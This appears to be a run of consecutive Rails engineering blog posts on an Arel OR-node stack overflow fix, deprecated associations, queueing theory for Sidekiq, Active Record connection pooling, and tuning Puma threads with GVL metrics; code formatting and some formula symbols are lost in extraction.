Why did Thread.new work but Async::Barrier didn't?

We wrote a test script to measure the actual stack depth limits in differentcontexts:

def test_recursion_depth(context_name)  depth = 0  recurse = lambda do |n|    depth = n    recurse.call(n + 1)  end  begin    recurse.call(0)  rescue SystemStackError    return depth  endendthread_depth = nilThread.new do  thread_depth = test_recursion_depth("thread")end.joinputs "Thread recursion limit: ~#{thread_depth} calls"async_depth = nilAsync do  async_depth = test_recursion_depth("async")endputs "Async fiber recursion limit: ~#{async_depth} calls"

When we ran this, the results were revealing:

Thread recursion limit:      ~11910 callsAsync fiber recursion limit: ~1482 calls

Threads have roughly 8x more stack space than Async fibers. This is becausethreads use larger stacks (1MB-8MB) while fibers are designed to be lightweightwith smaller stacks (512KB-1MB). This difference in stack allocation is whythreads can handle deeper recursion before hitting the overflow limit.

With 233 pairs requiring ~1,160 stack frames, we were right at the edge of theAsync fiber limit. But we were still well within the thread limit, which is whyswitching to Thread.new seemed to fix it.

When we tested with 500 pairs (which some of our larger calendars had), evenThread.new failed with a stack overflow. So it wasn't really a fix, it justpushed the problem further down the road.

The GitHub Trail

After we understood the problem, we searched the Rails repository and found theexact history:

1. April 4, 2024 - PR #51492:This PR changed OR nodes from binary to n-ary to handle multiplechildren in a single node.

2. September 24, 2024 -Issue #53031: Someonereported the exact issue we were seeing. Queries with 800+ OR conditions thatworked in Rails 7.1 now crashed in Rails 7.2.

3. September 25, 2024 -PR #53032:fatkodima fixed it with a one-line change inPredicateBuilder#grouping_queries:

Before:

queries = queries.reduce { |result, query| Arel::Nodes::Or.new([result, query]) }

After:

queries = Arel::Nodes::Or.new(queries)

The difference is profound. The old code using reduce created a deeply nestedstructure like Russian nesting dolls:

Or([Or([Or([Query1, Query2]), Query3]), Query4])  # 232 levels with 233 pairs

The new code creates a flat structure:

Or([Query1, Query2, Query3, Query4, ...Query233])  # Just 1 level

With a flat structure, the recursive visitor only traverses one level instead of232, eliminating the stack overflow. The fix is available in Rails 7.2.2+.

Our Solution

We're currently on Rails 7.2.1.1 and upgrading immediately would requireextensive testing. So we implemented a workaround in our code:

def abandoned_events  return @_abandoned_events if defined?(@_abandoned_events)  pairs = event_params.map { |e| [e[:url], e[:recurrence_id]] }  return if pairs.empty?  events_in_time_range = calendar.events    .where("start_time BETWEEN ? AND ?", start_time, end_time)  # Get candidate events using simple IN clauses  urls = pairs.map(&:first).uniq  recurrence_ids = pairs.map(&:last).uniq  candidate_events = events_in_time_range    .where(url: urls)    .where(recurrence_id: recurrence_ids)  # Filter to exact pairs in memory  pairs_set = pairs.to_set  ids_to_exclude = candidate_events.select { |event|    pairs_set.include?([event.url, event.recurrence_id])  }.map(&:id)  @_abandoned_events = if ids_to_exclude.empty?    events_in_time_range  else    events_in_time_range.where.not(id: ids_to_exclude)  endend

This approach:

• Uses simple IN clauses instead of complex OR conditions
• Filters the exact pairs in memory (fast with a Set)
• Excludes by ID, which is a flat list
• Never builds deeply nested Arel nodes

The trade-off is we run 2 queries instead of 1, but the queries are simpler andmore efficient. The in-memory filtering is negligible since we're alreadyconstrained by time range.

Measuring and Verifying

To prove our hypothesis, we wrote verification scripts that patched Railsinternals to measure what was actually happening.

Counting Arel Visitor Calls

We created a script that patched visit_Arel_Nodes_Or to count how many timesit was called and how deep the recursion went:

module Arel  module Visitors    class ToSql      alias_method :original_visit_Arel_Nodes_Or, :visit_Arel_Nodes_Or      def visit_Arel_Nodes_Or(o, collector)        @or_call_count ||= 0        @or_call_count += 1        @max_depth ||= 0        @current_depth ||= 0        @current_depth += 1        @max_depth = [@max_depth, @current_depth].max        result = original_visit_Arel_Nodes_Or(o, collector)        @current_depth -= 1        result      end    end  endend

Results with 50 test pairs:

• Rails 7.1.5.2: visit_Arel_Nodes_Or was called 1 time and max recursiondepth was 0.
• Rails 7.2.1.1: visit_Arel_Nodes_Or was called 49 times and max recursiondepth was 100.

With 233 pairs in production:

• Rails 7.1.5.2: Still called 1 time, depth 0 (iterative approach)
• Rails 7.2.1.1: Called 232 times, depth ~466 (exceeds Async fiber limit)

Testing the Actual Breaking Points

We ran the problematic query with different pair counts to find exactly where itbreaks:

# Test with AsyncAsync do  pairs = calendar.events.limit(count).pluck(:url, :recurrence_id)  calendar.events.where.not([:url, :recurrence_id] => pairs).countend.wait# Test with ThreadThread.new do  pairs = calendar.events.limit(count).pluck(:url, :recurrence_id)  calendar.events.where.not([:url, :recurrence_id] => pairs).countend.join

Results:

• Async Fiber: Breaks at approximately 233 pairs
• Thread.new: Breaks at approximately 500 pairs

This confirmed that Thread.new wasn't a real solution - it just had moreheadroom before hitting the same problem.

For now, we're sticking with our workaround. It works reliably, performs well,and doesn't require upgrading Rails immediately. When we do upgrade to Rails7.2.2+, we can revert to the original clean syntax, knowing that the Rails teamhas fixed the underlying issue.

If you're on Rails 7.2.0 through 7.2.1.x and use composite key queries withlarge datasets, watch out for this issue. The fix is in Rails 7.2.2+, or you canwork around it like we did.

References

• PR #51492 - Bug introduced
• Issue #53031 - Bug reported
• PR #53032 - Bug fixed

Marking an association as deprecated

Simply pass the deprecated: true option when declaring an association.

class User < ApplicationRecord  has_many :meetings, deprecated: trueend

Now, every time the meeting association is invoked, well get a deprecationwarning in our logs.

> user.meetingsThe association User#meetings is deprecated, the method meetings was invoked ((calendar):4:in '<main>')> User.includes(:meetings).where(id: 1)The association User#meetings is deprecated, referenced in query to preload records ()> User.joins(:meetings).where(id: 1)The association User#meetings is deprecated, referenced in query to join its table ()

Working with different association types

We can deprecate any association type.

class Order < ApplicationRecord  # has_many  has_many :line_items, deprecated: true  # belongs_to  belongs_to :customer, deprecated: true  # has_one  has_one :profile, deprecated: true  # has_many through  has_many :archived_comments, through: :comments, deprecated: trueend

Reporting modes and backtrace support

This feature supports three deprecation modes:

• :warn (default) Logs a warning to our ActiveRecord logger.
• :raise Raises an exception when the deprecated association is used.
• :notify Emits an Active Support notification event with the keydeprecated_association.active_record. This can be used to send notificationsto external services like Honeybadger etc. We can check the details about itspayloadhere.

Backtraces are disabled by default. If :backtrace is true, :warn mode willinclude a clean backtrace in the message, and :notify mode will have abacktrace key in the payload. Exceptions raised via :raise mode will alwayshave a clean stack trace.

We can change the global default mode in an initializer.

# config/initializers/deprecated_associations.rbActiveRecord.deprecated_associations_options = {  mode: :warn,      # :warn | :raise | :notify  backtrace: true   # whether to include a cleaned backtrace}

It can also be set at an environment level.

# config/environments/development.rbRails.application.configure do  config.active_record.deprecated_associations_options = { mode: :raise, backtrace: true }end# config/environments/production.rbRails.application.configure do  config.active_record.deprecated_associations_options = { mode: :warn, backtrace: true }end

Why deprecate rather than remove?

In large applications, its often hard to guarantee complete test coverage. Someassociation usages may only surface in production.

Deprecating an association first, lets us:

• Identify every code path (tests, console, background jobs) that relies on it.
• Gradually refactor those references before removal.
• Ensure confidence that deleting the association wont break anythingunexpectedly.

This new feature in Rails provides a clean and intuitive way to phase out ourassociations with deprecation warnings, making it easier to maintain andrefactor large codebases.

This feature was merged recently,and will be released in the next Rails minor/patch version.

If you prefer watching a video to learn about Active Job Continuations, then wemade a video for you.

<iframewidth="560"height="315"src="https://www.youtube.com/embed/r4uuQh1Zog0"title="YouTube video player"frameborder="0"allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"allowfullscreen

</iframe>

In short, this feature allows you to configure your jobs in such a manner thatthe job can be interrupted and next time when the job starts, it'll start from aparticular point so that the work done so far is not totally wasted.

This work is highly inspired by Shopify'sjob-iteration gem.

Queueing Systems

In web applications, not every task needs to be processed immediately. When youupload a large video file, send a bulk email campaign, or generate a complexreport, these time-consuming operations are often handled in the background.This is where queueing systems like Sidekiq orSolid Queue comes into play.

Queueing theory helps us understand how these systems behave under differentconditions - from quiet periods to peak load times.

Let's understand the fundamentals of queueing theory.

Basic Terminology in Queueing Theory

1. Unit of Work: This is the individual item needing service - a job.

2. Server: This is one "unit of parallel processing capacity." In queuingtheory, this doesn't necessarily mean a physical server. It refers to theability to process one unit of work at a time. For JRuby or TruffleRuby, eachthread can be considered a separate "server" since they can execute inparallel. For CRuby/MRI, because of the GVL, the concept of a "server" isdifferent. We'll discuss it later.

3. Queue Discipline: This is the rule determining which unit of work isselected next from the queue. For Sidekiq and Solid Queue, it is FCFS(FirstCome First Serve). If there are multiple queues, which job is selecteddepends on the priority of the queue.

4. Service Time: The actual time it takes to process a unit of work (howlong a job takes to execute).

5. Latency/Wait Time: How long jobs spend waiting in the queue before beingprocessed.

6. Total Time: The sum of service time and wait time. It's the completeduration from when a job is enqueued until it finishes executing.

Little's law

Little's law is a theorem in queuing theory that states that the average numberof jobs in a system is equal to the average arrival rate of new jobs multipliedby the average time a job spends in the system.

L = W

L = Average number of jobs in the system
= Average arrival rate of new jobs
W = Average time a job spends in the system

For example, if jobs arrive at a rate of 10 per minute (), and each job takes30 seconds (W) to complete:

Average number of jobs in system = 10 jobs/minute * 0.5 minutes = 5 jobs

This helps us understand the current state of our system and that there are 5jobs in the system on average at any given moment.

L is also called offered traffic.

Note: Little's Law assumes the arrival rate is consistent over time.

Managing Utilization

Utilization measures how busy our processing capacity is.

Mathematically, it is the ratio of how much processing capacity we're using tothe processing capacity we have.

utilization = (average number of jobs in the system/capacity to handle jobs) * 100

In other words, it could be written as follows.

utilization = (offered_traffic / parallelism) * 100

For example, if we are using Sidekiq to manage our background jobs then in asingle-threaded case, parallelism is equal to the number of Sidekiq processes.

Let's look at a practical case with numbers:

• We have 30 jobs arriving every minute
• It takes 0.5 minutes to process a job
• We have 20 Sidekiq processes

In this case, the utilization will be:

utilization = ((30 jobs/minute * 0.5 minutes) / 20 processes) * 100 = 75%

High utilization is bad for performance

Let's assume we maintain 100% utilization in our system. It means that if, onaverage, we get 30 jobs per minute, then we have just enough capacity to handle30 jobs per minute.

One day, we started getting 45 jobs per minute. Since utilization is at 100%,there is no extra room to accommodate the additional load. This leads to higherlatency.

Hence, having a high utilization rate may result in low performance, as it canlead to higher latency for specific jobs.

The knee curve

Mathematically, it would seem that only when the utilization rate hits 100%should the latency spike up. However, in the real world, it has been found thatlatency begins to increase dramatically when utilization reaches around 70-75%.

If we draw a graph between utilization and performance then the graph would looksomething like this.

The point at which the curve bends sharply upwards is called "Knee" in theperformance curve. At this point, the exponential effects predicted by queueingtheory become pronounced, causing the queue latency to climb up quickly.

Running any system consistently above 70-75% utilization significantly increasesthe risk of spiking the latency, as jobs spend more and more time waiting.

This would directly impact the customer experience, as it could result in delaysin sending emails or making calls to Twilio to send SMS messages, etc.

Tracking this latency will be covered in the upcoming blogs. The tracking ofmetrics depends on the queueing backend used (Sidekiq or Solid Queue).

Concurrency and theoretical parallelism

In Sidekiq, a process is the primary unit of parallelism. However, concurrency(threads per process) significantly impacts a process's effective throughput.Because of GVL we need to take into account how long the job is waiting for I/O.

The more time a job spends waiting on external resources (like databases orAPIs) rather than executing Ruby code, the more other threads within the sameprocess can run Ruby code while the first thread waits.

We learned about Amdahl's law inPart 3of this series.

Where:

p is the portion that can be parallelized (the I/O percentage)

n is the number of threads (concurrency)

Speedup is equivalent to theoretical parallelism in this context. In queueingtheory, parallelism refers to how many units of work can be processedsimultaneously. When we calculate speedup using Amdahl's Law, we're essentiallydetermining how much faster a multi-threaded system can handle work compared toa single-threaded system.

Let's assume that a system has an I/O of 50% and a concurrency of 10. ThenSpeedup will be:

Speedup = 1 / ((1 - 0.5) + 0.5 / 10) = 1 / 0.55 = 1.82  2

This means one Sidekiq process with 10 threads will handle jobs twice as fast asSidekiq with a single process with a single thread.

Let's recap what we are saying here. We are assuming that the system has I/O of50%. System is using a single Sidekiq process with 10 threads(concurrency). Thenbecause of 10 threads the system has a speed gain of 2x compared to systemhaving just a single thread. In other words, just because we have 10 threadsrunning we are not going to gain 10X performance improvement. What those 10threads is getting us is what is called "theoretical parallelism".

Similarly, for other values of I/O and Concurrency, we can get the theoreticalparallelism.

Let's go over one more time. In the last example, what we are stating is that ifa system has 95% I/O and if the system has 64 threads running, then that willgive 16x performance improvement over the same system running on a singlethread.

Here is the graph for this data.

As shown in the graph, a Sidekiq process with 16 threads handling jobs that are75% I/O-bound achieves a theoretical parallelism of approximately 3. In otherwords, 3x performance improvement is there over a single-threaded system.

Calculating the number of processes required

At the beginning of this article, we discussed "Little's law" and we discussedthat L is also called "offered traffic," which depicts the "average number ofjobs in the system".

If "offered traffic" is 5, then it means we have 5 units of work arriving onaverage that requires processing simultaneously.

We just learned that if the utilization is greater than 75% then it can causeproblems as there is a risk of latency to spike.

For queues with low latency requirements(eg. urgent), we need to target alower utilization rate. Let's say we want utilization to be around 50% to be onthe safe side.

Now we know the utilization rate that we need to target and we know the "offeredtraffic". So now we can calculate the "parallelism".

utilization = offered_traffic / parallelism=> 0.50 = 5 / parallelism=> parallelism = 5 / 0.50 = 10

This means we need a theoretical parallelism of 10 to ensure that theutilization is 50% at max.

Let's assume the jobs in this queue have an average of 50% I/O. Based on theabove mentioned graph, we can see that if the concurrency is 10 then we getparallelism of 2. However, increasing the concurrency doesn't increase theparallelism. It means if we want 10 parallelism, then we can't just switch toconcurrency of 50. Even the concurrency of 50 (or 50 threads) will only yield aparallelism of 2.

So we have no choice but to add more processes. Since one process with 10concurrency is yielding a parallelism of 2 we need to add 5 processes to get 10parallelism.

To get the I/O wait percentage, we can make use of perfm.Hereis the documentation on how it can be done.

Total number of Sidekiq processes required = 10 / 2 = 5

Here we're talking about Sidekiq free version, where we'll only be able to run asingle process per dyno. If we're using Sidekiq Pro, we can run multipleprocesses per dyno via Sidekiq Swarm.

We can provision 5 dynos for the urgent queue. But we should always have a queuetime based autoscaler like Judoscale enabled to handle spikes.

Sources of Saturation

We discussed earlier that, in the context of queueing theory, the saturationpoint is typically reached at around 70-75% utilization. This is from the pointof view of further gains by adding more threads.

However saturation can occur in other parts of the system.

CPU

The servers running your Sidekiq processes have finite CPU and memory. While CPUusage is a metric we can track for Sidekiq, it's generally not the only one weneed to focus on for scaling decisions.

CPU utilization can be misleading. If our jobs spend most of their time doingI/O (like making API calls or database queries), in which case CPU usage will bevery low, even when our Sidekiq system is at capacity.

Memory

Memory utilization impacts performance very differently from CPU utilization.Memory utilization generally exhibits minimal changes in latency or throughputfrom 0% to 100% utilization. However, after 100% utilization, things will startto deteriorate significantly. The system will start using the swap memory, whichcan be very slow and thereby increase the job service times.

Redis

Another place where saturation can occur is in our datastore i.e Redis in caseof Sidekiq. We have to make sure that we provision a separate Redis instance forSidekiq and also make sure to set the eviction policy to noeviction. Thisensures that Redis will reject new data when the memory limit is reached,resulting in an explicit failure rather than silently dropping important jobs.

This was Part 6 of our blog series onscaling Rails applications. If any part of theblog is not clear to you then please write to us atLinkedIn,Twitter orBigBinary website.

Database Connection Pooling

When a Rails application needs to interact with a database, it establishes aconnection, which is a dedicated communication channel between the applicationand the database server. When a new request comes to Rails, the operation can behandled like this.

1. Create a connection
2. Do database operation
3. Close the connection

When the next request comes, then repeat the above process.

Creating new database connections is an expensive operation - it takes time toestablish the connection, authenticate, and set up the communication channel. Itmeans that every single time a request comes, we are spending time in setting upthe connection.

Wouldn't it be better to store the established connection to somewhere and whena new request comes, then get the pre-established connection from this pool.This expedites the process since we don't need to create a connection and closea connection in every single request.

The new process might look like this.

1. Create a connection
2. Do database operation
3. Put the connection in a pool

Now, when a new request comes, the operation will look like this.

1. Get the connection from the pool
2. Do database operation
3. Return the connection to the pool

Database connection pooling is a performance optimization technique thatmaintains a set of reusable database connections.

Active Record Connection Pool Implementation

Active Record manages a pool of database connections for each web and backgroundprocess. Each process will have a connection pool of its own, which means aRails application running with multiple processes (like Puma processes, Sidekiqprocesses) will have multiple independent connection pools. The pool is a set ofdatabase connections that are shared among threads in the same process.

Note that the pooling happens at the process level. A thread from process Acan't get a connection from process B.

When a connection is needed, the thread checks out a connection from the pool,perform operations, and then returns the connection to the pool. This is done ata query level now. For each individual query, a connection is leased, used, andthen returned back to the pool.

Pre Rails 7.2, the connection used to be leased and held till the end of therequest if it is a web request and till the job is done if it is a backgroundjob. This was a problem for applications that spent a lot of time doing I/O. Thethread will hog the connection for the entire duration of the I/O operationlimiting the number of queries that can be executed concurrently. To facilitatethis change and make query caching work, the query cache has beenupdated to be owned by the pool.

This means that the query cache is now shared across all connections in thepool. Previously, each connection had its own query cache. As the whole requestused the same connection, this was fine. But now, as the connection is leasedfor each query, the query cache needs to be shared across all connections in thepool.

Connection Pool Configuration Options

Active Record's connection pool behavior can be customized through severalconfiguration options in the database.yml file:

• pool:Sets the maximum number of connections the pool will maintain. The default istied to RAILS_MAX_THREADS, but you can set it to any value. There is a smallproblem when you set it to RAILS_MAX_THREADS which we'll discuss later.
• checkout timeout:Determines how long a thread will wait to get a connection before timing out.The default is 5 seconds. If all connections are in use and a thread waitslonger than this value, an ActiveRecord::ConnectionTimeoutError exceptionwill be raised.
• idle timeout:Specifies how long a connection can remain idle before it's removed from thepool. The default is 300 seconds. This helps reclaim resources fromconnections that aren't being used.
• reaping frequency:Controls how often the Reaper(which we'll discuss shortly) process runs toremove dead or idle connections. The default is 60 seconds.

Active Record Connection Pool Reaper

Database connections can sometimes become "dead" due to issues like databaserestarts, network problems etc. Active Record provides Reaper to handle this.

The Reaper periodically checks connections in the pool and removes deadconnections as well as idle connections that have been checked out for a longtime.

It acts somewhat like a garbage collector for database connections. The Reaperuses the idle_timeout setting to determine how long a connection can remainidle before being removed, tracking idle time based on when connections werelast used.

There is another configuration option called reaping_frequency that controlshow often the Reaper runs to remove dead or idle connections from the pool. Bydefault, this is set to 60 seconds. It means the Reaper will wake up once everyminute to perform its maintenance tasks.

If your application is spiky and receives a lot of traffic in surges, then setthe reaping frequency and idle timeout to a lower value. This will ensure thatthe reaper runs more frequently and removes idle connections more quickly,helping to keep the connection pool healthy and responsive.

Why are idle connections bad?

Idle database connections can significantly impact database performance forseveral interconnected reasons:

Memory Consumption: Each database connection, even when idle, maintains itsown memory allocation. The database must reserve memory for session state,buffers, user context, and transaction workspace. This memory remains allocatedeven when the connection isn't doing any work. For example, if each connectionuses 10 MB of memory, 100 idle connections would unnecessarily consume 1 GB ofyour database's memory that could otherwise be used for active queries, caching,or other productive work.

CPU overhead: While "idle" suggests no activity, the database still performsregular maintenance work for each connection. It must monitor connection healthvia keepalive checks, manage process tables etc.

The crucial issue is that the overhead of having idle connections scalesnon-linearly. As we add more idle connections, the database spends an increasingproportion of its CPU time just managing these connections rather thanprocessing actual queries. Thankfully, the reaper handles this for us.

How many database connections will the web and background processes utilize at maximum?

As we learned, the connection pool is managed at the process level. Each Railsprocess maintains its own pool.

1. In web processes (Puma):

Each Puma process is a separate process with its own connection pool. In aprocess, each thread can check out one connection. Therefore, maximumconnections needed per process equals max_threads setting in Puma.

2. In background processes (Sidekiq):

Sidekiq runs as a separate process with its own connection pool. The Sidekiqconcurrency setting determines the number of threads and therefore the maximumconnections needed equals the concurrency value.

Note: If you're using Sidekiq swarm and running multiple Sidekiq processes,then take that it into account.

We can calculate the total potential connections for a typical application asshown below.

Web connections = Number of web dynos * Number of Puma processes                  * `max_threads` valueBackground connections = Number of worker dynos * Number of Sidekiq processes                         * Threads per processTotal number of connections = Web connections + Background connections

The key thing to note here is that the database needs to support at least thesemany simultaneous connections.

Note that if preboot is enabled, then the maximum number of connections will bedouble the above value. This is because during the release phase, there is asmall window in which both the old dynos and new dynos are running.

In Rails 7,load_asyncwas introduced which allows us to run database queries asynchronously in abackground thread. When load_async is in used, the calculation for maximumnumber of connections needed changes a bit. First, let's understand howload_async works.

How load_async works

load_async allows Rails to execute database queries asynchronously inbackground threads. Unlike regular ActiveRecord queries which are lazily loaded,load_async queries are always executed immediately in background threads andjoined to the main thread when results are needed.

The async executor is configured through theconfig.active_record.async_query_executor setting. There are three possibleconfigurations:

1. nil (default): Async queries are disabled, and load_async will executequeries synchronously.
2. :global_thread_pool: Uses a single thread pool for all databaseconnections.
3. :multi_thread_pool: Uses separate thread pools for each databaseconnection.

Rails provides a configuration option namedglobal_executor_concurrency(default: 4) that controls how many concurrent async queries can run perprocess. So, the maximum number of connections per process when load_async isused.

Maximum connections per process = Process level concurrency                                  + global_executor_concurrency + 1

Here Process level concurrency means max_threads for the Puma process andsidekiq_conurrency for the Sidekiq process.

The "+1" accounts for the main control thread, which may occasionally need aconnection (e.g., during model introspection at class load time).

There is a nicecalculatorcreated by the folks at Judoscale which can be used tocalculate the maximum number of connections needed for your application.

Setting Database Pool Size Configuration

Our database.yml file has the following line.

pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>

We know that a thread doesn't take more than one DB connection. So the maximumnumber of connections needed per pool is equal to the total number of threads.So the above configuration looks fine.

However this doesn't take into account whether we use load_async or not. If weuse load_async, then the number of connections needed per process will beRAILS_MAX_THREADS + global_executor_concurrency + 1.

Do we really need to go into this much detail to determine the pool size? Turnsout there is a much easier answer.

Almost all database hosting providers mention the maximum number of connectionsallowed in their plan. We can just set the pool config to the maximum number ofconnections supported by our database plan. Let us say we have a Standard-0database on Heroku. It supports up to 120 connections. So we can set the poolconfig to 120.

pool: 120

We can do this because the database connections are lazily initialized in thepool. The application doesn't create more database connections than it needs. Sowe needn't be conservative here.

The only thing we need to ensure is that the maximum connection utilizationdoesn't exceed the database plan limit. If that happens, then we have anothersolution - PgBouncer.

PgBouncer

PgBouncer is a lightweight connection pooler for PostgreSQL. It sits between ourapplication(s) and our PostgreSQL database and manages a pool of databaseconnections.

While both PgBouncer and Active Record provide connection pooling, they operateat different levels and serve different purposes.

Active Record connection pool operates within a single Ruby process and managesconnections for threads within the process, whereas PgBouncer is an externalconnection pooler that sits between the application and the database and managesconnections across all the application processes.

The dreaded ActiveRecord::ConnectionTimeoutError

This error comes up when a thread waits more than checkout_timeout seconds toacquire a connection. This usually happens when the pool size is set to avalue less than the concurrency.

For example, lets say we have set the Sidekiq concurrency to 10 and pool sizeto 5. If we have more than 5 threads wanting a connection at any point of time,the threads will have to wait.

What's the solution? As we discussed earlier setting the pool to a really highvalue should fix the error in most cases.

Even after setting the config correctly, ActiveRecord::ConnectionTimeoutErrorcan still happen and it could be puzzling. Let is discuss a few scenarios wherethis can happen.

Custom code spinning up new threads and taking up connections

class SomeService  def process    threads = []    5.times do |index|      threads << Thread.new do        ActiveRecord::Base.connection.execute("select pg_sleep(5);")      end    end    threads.each(&:join)  endend

Here 5 threads are spun up. Note that these threads also take up connectionsfrom the same pool allotted to the process.

Active Storage proxy mode

Even if our application code is not spinning up new threads, Rails itself cansometimes spin up additional threads. For example Active Storage configured inproxy mode.

Active Storages proxy controllers1,2generate responses as streams, which require dedicated threads for processing.

This means that when serving an Active Storage file through one of these proxycontrollers, Rails actually utilizes two separate threads - one for the mainrequest and another for the streaming process. Each of these threads requiresits own separate database connection from the ActiveRecord connection pool.

Rack timeouts

rack-timeout is commonly used acrossRails applications to automatically terminate long-running requests. While ithelps prevent server resources from being tied up by slow requests, it can alsocause a few issues.

Rack timeout uses Ruby'sThread#raise API to terminaterequests that exceed the configured timeout. When a timeout occurs, rack-timeoutraises a Rack::Timeout::RequestTimeoutException from another thread. If thisexception is raised while a thread is in the middle of database operations, itcan prevent proper cleanup of database connections.

Tracking down ActiveRecord::ConnectionTimeoutErrors

If we still frequently see ActiveRecord::ConnectionTimeoutError exceptions inour application, we can get additional context by logging the connection poolinfo to our error monitoring service. This can help identify which all threadswere holding onto the connections when the error occurred.

config.before_notify do |notice|  if notice.error_class == "ActiveRecord::ConnectionTimeoutError"    notice.context = { connection_pool_info: detailed_connection_pool_info }  endenddef detailed_connection_pool_info  connection_info = {}  ActiveRecord::Base.connection_pool.connections.each_with_index do |conn, index|    connection_info["connection_#{index + 1}"] = conn.owner ? conn.owner.inspect : "[UNUSED]"  end  connection_info["current_thread"] = Thread.current.inspect  connection_infoend

<thread_obj>.inspect gives us the name, id and status of the thread. Forexample, if one entry in the hash looks like#<Thread:0x00006a42eca73ba0@puma srv tp 002 /app/.../gems/puma-6.2.2/lib/puma/thread_pool.rb:106 sleep_forever>then it means that the connection is taken up by a Puma thread.

Monitoring Active Record Connection Pool Stats

If we want to monitor Active Record Connection Pool stats, then periodically weneed to send the stats to a service provider which can display the datagraphically. For periodically checking the stat, we are usingrufus-scheduler gem. Forcollecting the data and showing the data we are using NewRelic but you can useany APM of your choice. We have configured to send the pool stat every 15seconds.

Here is thegist which collects and sends data.

This was Part 5 of our blog series onscaling Rails applications. If any part of theblog is not clear to you then please write to us atLinkedIn,Twitter orBigBinary website.

Inpart 1we saw how to find ideal number of processes for our Rails application.

Inpart 3,we learned about Amdahl's law, which helps us find the ideal number of threadstheoretically.

In this blog, we'll run a bunch of tests on our real production application tosee what the actual number of threads should be for each process.

Inpart 1we discussed the presence of GVL and the concept of thread switching. Based onthe GVL's interaction, a thread can be in one of these three states.

1. Running: The thread has the GVL and is executing Ruby code.
2. Idle: The thread doesn't want the GVL because it is performing I/Ooperations.
3. Stalled: The thread wants the GVL and is waiting for it in the GVL waitqueue.

Based on the above diagram, we can approximately equate idle time toI/O time.

GVL instrumentation using perfm

Thanks to Jean Boussier's work on theGVL instrumentation API and JohnHawthorn's work on gvl_timing, we cannow measure the time a thread spends in each of these states for apps running onRuby 3.2 or higher.

Using the great work done by these folks, we have createdperfm, to help us figure out the idealnumber of Puma threads based on the application's workload.

Perfm inserts a Rack middleware to our Rails application. This middlewareinstruments the GVL, collects the required metrics and stores them in a table.It also has a Perfm::GvlMetricsAnalyzer class which can be used to generate areport on the data collected.

Using perfm to measure the application's I/O percentage

To use perfm, we need to add the following line to our Gemfile.

gem 'perfm'

We'll run bin/rails generate perfm:install. This will generate the migrationto create perfm_gvl_metrics which will be used to store request-level metrics.

Now we'll create an initializer config/initializers/perfm.rb.

Perfm.configure do |config|  config.enabled = true  config.monitor_gvl = true  config.storage = :localendPerfm.setup!

After deploying the code to production, we need to collect around 20K requestsas that will give us a fair number of data points to analyze. The GVL monitoringcan be disabled after that by setting config.monitor_gvl to false so thatthe table doesn't keep growing.

After collecting the request data, now it's time to analyze it.

Run the following code in the Rails console.

irb(main):001* gvl_metrics_analyzer = Perfm::GvlMetricsAnalyzer.new(irb(main):002*   start_time: 2.days.ago, # configure thisirb(main):003*   end_time: Time.currentirb(main):004> )irb(main):005>irb(main):006> results = gvl_metrics_analyzer.analyzeirb(main):007> io_percentage = results[:summary][:total_io_percentage]=> 45.09

This will give us the percentage of time spent doing I/O. We ran it in ourNeetoCal production application and we got a value of45%.

As we discussed inpart 3,Amdahl's law gives us a theoretical maximum speedup based on the parallelizableportion of our workload. The formula is given below.

Where:

• p is the portion that can be parallelized (in our case, it's 0.45)
• N is the number of threads
• (1 - p) is the portion that must run sequentially (in our case, it's 0.55)

Let's calculate the theoretical speedup for different numbers of threads with p= 0.45:

We can see that after 4 threads, the percentage improvement drops below 5%. Thismeans that 4 is a reasonable value for max_threads. We can set the value ofRAILS_MAX_THREADS to 4.

Looking at the table, adding a 5th thread would only give us a 3% performanceimprovement, which may not justify the additional memory usage and potential GVLcontention.

We have also created a small application to help visualize and find the idealnumber of threads when the I/O percentage is provided as input.Here is the link to theapp.

Validate thread count using stall time

This value of 4 we got theoretically by using Amdahl's law. Now it's time toput this law to test. Let's see in the real world if the value of 4 is thecorrect value or not.

What we need to do is start with RAILS_MAX_THREADS env variable (Pumamax_threads) set to 4 and then check if this value provides minimal GVLcontention. By GVL contention, we mean the amount of time a thread spendswaiting for the GVL i.e the stall time.

If the stall time is high, that means the set thread count is high. We don'twant our request threads to spend their time doing nothing causing latencyspikes.75ms is an acceptable value for stall time. The lesser the better ofcourse.

The average stall time can be found in the perfm analyzer results. As wementioned earlier, we had collected data for NeetoCal.Now let's find the average stall time.

irb(main):001* gvl_metrics_analyzer = Perfm::GvlMetricsAnalyzer.new(irb(main):002*   start_time: 2.days.ago,irb(main):003*   end_time: Time.current,irb(main):004*   puma_max_threads: 4irb(main):005> )irb(main):006> results = gvl_metrics_analyzer.analyzeirb(main):007> avg_stall_ms = results[:summary][:average_stall_ms]=> 110.24

The stall time seems a bit high. Let us decrease the RAILS_MAX_THREADS valueby 1 and collect a few data points(i.e around 20K requests). Now the value ofRAILS_MAX_THREADS will be 3. This process has to be repeated until we findthe value for which the average stall time is less than 75ms.

irb(main):001* gvl_metrics_analyzer = Perfm::GvlMetricsAnalyzer.new(irb(main):002*   start_time: 2.days.ago,irb(main):003*   end_time: Time.current,irb(main):004*   puma_max_threads: 3irb(main):005> )irb(main):006> results = gvl_metrics_analyzer.analyzeirb(main):007> avg_stall_ms = results[:summary][:average_stall_ms]=> 79.38

Now the output is closer to 75 ms.

Hence we can finalize on the value 3 as the value for RAILS_MAX_THREADS. If wedecrease the value again by one i.e set it to 2, the stall time will decreasebut we're limiting the concurrency of our application. It is a trade-off.

Remember that our goal is to maximize concurrency while minimizing GVLcontention. But if our app spends a lot of time doing I/O - for instance, if wehave a proxy application that makes a lot of external API calls directly fromthe controller, then we can switch the app server toFalcon. Falcon is tailor-made for such usecases.

Broadly speaking, one should take care of the following items to ensure that thetime spent by the request doing I/O is minimal.

• Remove N+1 queries
• Remove long-running queries
• Move inline third party API calls to background job processor
• Move heavy computational stuff to background job processor

For a finely optimized Rails application, the max_threads value will bearound 3. That's why the default value of max_threads for Rails applicationsis 3 now. This has been decided after a lot of discussionhere. We recommend you read thewhole discussion. It is very interesting.

This was Part 4 of our blog series onscaling Rails applications. If any part of theblog is not clear to you then please write to us atLinkedIn,Twitter orBigBinary website.

We have only two parameters to work with if we want to fine-tune our Pumaconfiguration.

1. The number of processes.
2. The number of threads each process can have.

Inpart 1of Scaling Rails series,we saw what the number of processes should be. Now let's look at what the numberof threads in each process should be.

Amdahl's law

Each application has a few things which must be performed in "serial order" anda few things which can be "parallelized". If we draw a diagram, then this iswhat it will look like.

